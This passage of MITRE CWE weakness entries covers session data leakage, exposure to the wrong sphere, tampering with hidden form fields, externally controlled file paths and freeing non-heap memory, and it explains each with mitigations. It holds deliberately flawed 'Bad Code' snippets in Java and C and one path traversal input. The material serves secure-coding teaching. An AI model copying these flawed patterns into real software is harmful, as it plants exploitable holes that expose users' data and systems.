+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class284Improper Access Control
Development Concepts699
ChildOfWeakness BaseWeakness Base749Exposed Dangerous Method or Function
Development Concepts (primary)699
Research Concepts (primary)1000
CanPrecedeWeakness VariantWeakness Variant781Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
Research Concepts1000
+ Relationship Notes

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

+ References
Microsoft. "Securing Device Objects". <http://msdn.microsoft.com/en-us/library/ms794722.aspx>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2009-07-15MITREInternal CWE Team
Modifications
Modification DateModifierOrganizationSource
2009-12-28CWE Content TeamMITREInternal
updated Time_of_Introduction

CWE-488: Exposure of Data Element to Wrong Session

Weakness ID: 488
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data

+ Demonstrative Examples

Example 1

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

(Bad Code)
Example Language: Java 
public class GuestBook extends HttpServlet {
String name;

protected void doPost (HttpServletRequest req, HttpServletResponse res) {
name = req.getParameter("name");
...
out.println(name + ", thanks for visiting!");
}
}

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

+ Potential Mitigations

Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class485Insufficient Encapsulation
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
Research Concepts (primary)1000
ChildOfCategoryCategory882CERT C++ Secure Coding Section 14 - Concurrency (CON)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory965SFP Secondary Cluster: Insecure Session Management
Software Fault Pattern (SFP) Clusters (primary)888
CanFollowWeakness BaseWeakness Base567Unsynchronized Access to Shared Data in a Multithreaded Context
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsData Leaking Between Users
CERT C++ Secure CodingCON02-CPPUse lock classes for mutex management
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITREInternal
updated Description, Other_Notes
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Data Leaking Between Users
2011-03-29Data Leak Between Sessions

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID: 668
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Other

Technical Impact: Read application data; Modify application data; Other

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory361Time and State
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfWeakness ClassWeakness Class664Improper Control of a Resource Through its Lifetime
Research Concepts (primary)1000
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant8J2EE Misconfiguration: Entity Bean Declared Remote
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Research Concepts1000
ParentOfWeakness ClassWeakness Class200Information Exposure
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness VariantWeakness Variant220Sensitive Data Under FTP Root
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base374Passing Mutable Objects to an Untrusted Method
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base375Returning a Mutable Object to an Untrusted Caller
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base377Insecure Temporary File
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class402Transmission of Private Resources into a New Sphere ('Resource Leak')
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base427Uncontrolled Search Path Element
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base428Unquoted Search Path or Element
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant491Public cloneable() Method Without Final ('Object Hijack')
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant492Use of Inner Class Containing Sensitive Data
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant493Critical Public Variable Without Final Modifier
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class514Covert Channel
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base522Insufficiently Protected Credentials
Research Concepts1000
ParentOfWeakness BaseWeakness Base552Files or Directories Accessible to External Parties
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness VariantWeakness Variant582Array Declared Public, Final, and Static
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant583finalize() Method Declared Public
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant608Struts: Non-private Field in ActionForm Class
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class642External Control of Critical State Data
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class732Incorrect Permission Assignment for Critical Resource
Research Concepts1000
ParentOfWeakness VariantWeakness Variant766Critical Variable Declared Public
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant767Access to Critical Private Variable via Public Method
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant927Use of Implicit Intent for Sensitive Communication
Research Concepts1000
ParentOfWeakness VariantWeakness Variant942Overly Permissive Cross-domain Whitelist
Research Concepts1000
ParentOfWeakness VariantWeakness Variant1004Sensitive Cookie Without 'HttpOnly' Flag
Research Concepts1000
CanFollowWeakness VariantWeakness Variant219Sensitive Data Under Web Root
Research Concepts1000
CanFollowWeakness ClassWeakness Class441Unintended Proxy or Intermediary ('Confused Deputy')
Research Concepts1000
+ Theoretical Notes

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

+ Relevant Properties
  • Accessibility
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes
2008-11-24CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Relationships
2009-07-22
(Critical)
CWE Content TeamMITREInternal
Clarified description to include permissions.
2009-07-27CWE Content TeamMITREInternal
updated Description, Relationships
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes, Theoretical_Notes
2009-12-28CWE Content TeamMITREInternal
updated Relationships
2010-09-27CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2013-02-21CWE Content TeamMITREInternal
updated Relationships
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID: 472
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

+ Alternate Terms
Assumed-Immutable Parameter Tampering
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Modify application data

Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.

+ Demonstrative Examples

Example 1

Here, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

(Bad Code)
Example Language: Java 
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));

Example 2

Hidden fields should not be trusted as secure parameters. An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

(Bad Code)
Example Language: HTML 
< input type "hidden"

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

+ Observed Examples
ReferenceDescription
Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Allows admin access by modifying value of form field.
Read messages by modifying message ID parameter.
Send email to arbitrary users by modifying email parameter.
Authentication bypass by setting a parameter.
Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field.
Logic error leads to password disclosure.
Modification of message number parameter allows attackers to read other people's messages.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory371State Issues
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfWeakness BaseWeakness Base471Modification of Assumed-Immutable Data (MAID)
Development Concepts (primary)699
Research Concepts1000
ChildOfWeakness ClassWeakness Class642External Control of Critical State Data
Research Concepts (primary)1000
ChildOfCategoryCategory715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory991SFP Secondary Cluster: Tainted Input to Environment
Software Fault Pattern (SFP) Clusters (primary)888
RequiredByCompound Element: CompositeCompound Element: Composite384Session Fixation
Research Concepts1000
CanFollowWeakness BaseWeakness Base656Reliance on Security Through Obscurity
Research Concepts1000
+ Relationship Notes

This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.

+ Theoretical Notes

This is a technology-specific MAID problem.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWeb Parameter Tampering
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
+ References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields." Page 75. McGraw-Hill. 2010.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Embedding State in HTML and URLs", Page 1032.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Other_Notes, Relationship_Notes, Theoretical_Notes
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITREInternal
updated Description
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Web Parameter Tampering

CWE-73: External Control of File Name or Path

Weakness ID: 73
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software allows user input to control or influence paths or file names that are used in filesystem operations.

Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.

2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

All

Operating Systems

UNIX: (Often)

Windows: (Often)

Mac OS: (Often)

+ Common Consequences
ScopeEffect
Integrity
Confidentiality

Technical Impact: Read files or directories; Modify files or directories

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.

Integrity
Confidentiality
Availability

Technical Impact: Modify files or directories; Execute unauthorized code or commands

The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.

Availability

Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (other)

The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

+ Demonstrative Examples

Example 1

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

(Bad Code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 2

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

(Bad Code)
Example Language: Java 
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
+ Observed Examples
ReferenceDescription
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: external control of user's target language enables remote file inclusion.
+ Potential Mitigations

Phase: Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Phases: Architecture and Design; Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Phases: Installation; Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Phases: Operation; Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class610Externally Controlled Reference to a Resource in Another Sphere
Research Concepts1000
ChildOfWeakness ClassWeakness Class642External Control of Critical State Data
Research Concepts (primary)1000
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory7522009 Top 25 - Risky Resource Management
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory981SFP Secondary Cluster: Path Traversal
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness ClassWeakness Class22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base41Improper Resolution of Path Equivalence
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base59Improper Link Resolution Before File Access ('Link Following')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base434Unrestricted Upload of File with Dangerous Type
Research Concepts1000
CanAlsoBeWeakness BaseWeakness Base99Improper Control of Resource Identifiers ('Resource Injection')
Research Concepts1000
+ Relationship Notes

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all.

The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPath Manipulation
CERT C++ Secure CodingFIO01-CPPBe careful using functions that use file names for identification
CERT C++ Secure CodingFIO02-CPPCanonicalize path names originating from untrusted sources
Software Fault PatternsSFP16Path Traversal
+ References
[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Causal_Nature, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Weakness_Ordinalities
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships
2009-07-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Description
2009-12-28CWE Content TeamMITREInternal
updated Detection_Factors
2010-02-16CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Manipulation

CWE-590: Free of Memory not on the Heap

Weakness ID: 590
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The application calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

+ Time of Introduction
  • Implementation
+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands; Modify memory

There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive.

If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.

+ Demonstrative Examples

Example 1

In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

(Bad Code)
Example Language:
void foo(){
record_t bar[MAX_SIZE];

/* do something interesting with bar */
...
free(bar);
}

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

(Bad Code)
Example Language:
record_t bar[MAX_SIZE]; //Global var
void foo(){
/* do something interesting with bar */
...
free(bar);
}

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

(Good Code)
 
void foo(){
record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));

/* do something interesting with bar */
...
free(bar);
}

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

(Good Code)
 
record_t *bar; //Global var
void foo(){
bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));

/* do something interesting with bar */
...
free(bar);
}
+ Potential Mitigations

Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory399Resource Management Errors
Development Concepts (primary)699
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfWeakness VariantWeakness Variant762Mismatched Memory Management Routines
Research Concepts (primary)1000
ChildOfCategoryCategory876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory969SFP Secondary Cluster: Faulty Memory Release
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base123Write-what-where Condition
Research Concepts1000
+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMEM34-COnly free memory allocated dynamically
CERT C++ Secure CodingMEM34-CPPOnly free memory allocated dynamically
Software Fault PatternsSFP12Faulty Memory Release
+ References
"Valgrind". <http://valgrind.org/>.
+ Maintenance Notes

